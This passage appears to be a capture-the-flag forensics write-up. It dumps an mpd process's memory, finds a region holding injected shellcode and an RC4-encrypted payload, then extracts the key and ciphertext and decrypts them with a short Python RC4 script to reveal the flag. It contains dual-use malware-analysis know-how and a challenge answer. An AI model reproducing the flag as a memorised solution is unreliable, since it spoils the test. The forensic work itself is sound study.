764 mpd 0x564f5bc4b000 0x564f5bd69000 r-x 0x66000 8 1 1077557 /usr/bin/mpd pid.764.vma.0x564f5bc4b000-0x564f5bd69000.dmp
764 mpd 0x564f5bd69000 0x564f5bdca000 r-- 0x184000 8 1 1077557 /usr/bin/mpd pid.764.vma.0x564f5bd69000-0x564f5bdca000.dmp
764 mpd 0x564f5bdca000 0x564f5bdd8000 r-- 0x1e5000 8 1 1077557 /usr/bin/mpd pid.764.vma.0x564f5bdca000-0x564f5bdd8000.dmp
764 mpd 0x564f5bdd8000 0x564f5bdd9000 rw- 0x1f3000 8 1 1077557 /usr/bin/mpd pid.764.vma.0x564f5bdd8000-0x564f5bdd9000.dmp
764 mpd 0x564f5bdd9000 0x564f5be1a000 rw- 0x0 0 0 0 Anonymous Mapping pid.764.vma.0x564f5bdd9000-0x564f5be1a000.dmp
764 mpd 0x564f93fd9000 0x564f94047000 rw- 0x0 0 0 0 [heap] pid.764.vma.0x564f93fd9000-0x564f94047000.dmp
764 mpd 0x7f4187fc1000 0x7f4187fee000 rw- 0x0 0 0 0 Anonymous Mapping pid.764.vma.0x7f4187fc1000-0x7f4187fee000.dmp
764 mpd 0x7f4187fee000 0x7f4187fef000 r-- 0x0 8 1 1077256 /usr/lib/x86_64-linux-gnu/samba/libcluster-private-samba.so.0 pid.764.vma.0x7f4187fee000-0x7f4187fef000.dmp
...
navi@curette (g/sleep-to-dream/coredump) > ls | head
pid.764.vma.0x564f5bbe5000-0x564f5bc15000.dmp
pid.764.vma.0x564f5bc15000-0x564f5bc47000.dmp
pid.764.vma.0x564f5bc47000-0x564f5bc4b000.dmp
pid.764.vma.0x564f5bc4b000-0x564f5bd69000.dmp
pid.764.vma.0x564f5bd69000-0x564f5bdca000.dmp
pid.764.vma.0x564f5bdca000-0x564f5bdd8000.dmp
pid.764.vma.0x564f5bdd8000-0x564f5bdd9000.dmp
pid.764.vma.0x564f5bdd9000-0x564f5be1a000.dmp
pid.764.vma.0x564f93fd9000-0x564f94047000.dmp
pid.764.vma.0x7f4187fc1000-0x7f4187fee000.dmp
we’ve learned that our page in question is at the addresses 0x564f5bc47000-0x564f5bc4b000:
navi@curette (g/sleep-to-dream/coredump) > ls | grep 0x564f5bc47000
pid.764.vma.0x564f5bc15000-0x564f5bc47000.dmp
pid.764.vma.0x564f5bc47000-0x564f5bc4b000.dmp
so, we isolate that specific dump and delete the rest! indeed, after looking at this dump, we can see our shellcode:
00000e70: 0100 00b8 0300 0000 4c89 e70f 05b8 3c00 ........L.....<.
00000e80: 0000 4831 ff0f 0566 6574 6368 626f 6c74 ..H1...fetchbolt
00000e90: 6375 7474 6572 732e a274 f799 0ec0 bfda cutters..t......
00000ea0: 796c 5800 dc73 bccb 4825 5ed1 70a1 0c42 ylX..s..H%^.p..B
00000eb0: e273 8029 0a23 bd22 af9b 2fd7 80c3 f6d6 .s.).#."../.....
00000ec0: baca f223 ae71 50a0 b965 826e d7a8 5663 ...#.qP..e.n..Vc
00000ed0: 2b1c 4e49 f9df 428e 6ee4 29bc 6e8f 03ed +.NI..B.n.).n...
00000ee0: ff22 c8c3 0df4 1731 a0e1 ffc8 6280 ce26 .".....1....b..&
00000ef0: aa08 2df0 7551 28fd 4141 f7ae 891f 7097 ..-.uQ(.AA....p.
00000f00: 128b 15ad 2c06 82b4 a1b1 e1aa 4baf 29aa ....,.......K.).
00000f10: 51b8 7298 7f9c 2334 202d 2043 7269 6d69 Q.r...#4 - Crimi
00000f20: 6e61 6c2e 7478 7400 0000 0000 0000 0000 nal.txt.........
and we can see our ciphertext as well. recall that this is the ONLY PLACE in memory where this ciphertext exists! (it’s between the fetchboltcutters string and the 4 - Criminal.txt) string.
recall that our shellcode was just decrypting this ciphertext in memory via RC4, so we can just decrypt it ourselves, too as we have the key and ciphertext. first we’ll actually need to isolate the ciphertext from the dump.
dump = open('this-one.dmp', 'rb').read()
key = b'fetchboltcutters'
ciphertext = dump[dump.find(key) + len(key):dump.find(b'4 - ')]
print(ciphertext.hex())
which gives us our ciphertext:
navi@curette (g/sleep-to-dream/coredump) > python solve.py
2ea274f7990ec0bfda796c5800dc73bccb48255ed170a10c42e27380290a23bd22af9b2fd780c3f6d6bacaf223ae7150a0b965826ed7a856632b1c4e49f9df428e6ee429bc6e8f03edff22c8c30df41731a0e1ffc86280ce26aa082df0755128fd4141f7ae891f7097128b15ad2c0682b4a1b1e1aa4baf29aa51b872987f9c23
then, we just steal some implementation of RC4 from online and win.
def rc4_keystream(key: bytes):
# KSA
S = list(range(256))
j = 0
key_len = len(key)
for i in range(256):
j = (j + S[i] + key[i % key_len]) & 0xFF
S[i], S[j] = S[j], S[i]
# PRGA
i = 0
j = 0
while True:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) & 0xFF]
yield K
def rc4_bytes(key: bytes, data: bytes) -> bytes:
ks = rc4_keystream(key)
return bytes(b ^ next(ks) for b in data)
print(rc4_bytes(key, ciphertext))
running this final script gives us the flag:
navi@curette (g/sleep-to-dream/coredump) > python solve.py
2ea274f7990ec0bfda796c5800dc73bccb48255ed170a10c42e27380290a23bd22af9b2fd780c3f6d6bacaf223ae7150a0b965826ed7a856632b1c4e49f9df428e6ee429bc6e8f03edff22c8c30df41731a0e1ffc86280ce26aa082df0755128fd4141f7ae891f7097128b15ad2c0682b4a1b1e1aa4baf29aa51b872987f9c23
b'blahaj{THE IDLER WHEEL IS WISER THAN THE DRIVER OF THE SCREW AND WHIPPING CORDS WILL SERVE YOU MORE THAN ROPES WILL EVER DO}\x00\x00\x00\x00'